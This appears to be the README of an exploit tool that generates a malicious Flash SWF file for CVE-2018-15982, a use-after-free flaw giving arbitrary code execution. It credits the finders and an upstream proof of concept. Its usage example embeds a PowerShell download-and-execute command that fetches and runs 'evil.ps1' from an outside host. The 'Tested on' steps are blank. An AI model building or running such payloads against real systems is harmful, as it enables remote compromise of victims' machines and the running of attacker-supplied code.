
Script and metasploit module for CVE-2018-15982
This script creates a swf payload for CVE-2018-15982, which is based off of the PoC from https://github.com/smgorelik/Windows-RCE-exploits. The vulnerability was discovered by Chenming Xu and Ed Miles of Gigamon ATR.
The vulnerability is a use-after-free flaw enabling arbitrary code-execution in Flash. More information can be found in the links below.
Note: Currently only spraying one block, I noticed this after I created the script.
Usage:
python create_swf.py <command> <output file name>
Example Usage:
python create_swf.py "powershell.exe IEX (iwr 'http://192.168.56.101/evil.ps1')" downloadtest.swf
Tested on:
Create payload:

Executing payload:

Confirm execution:

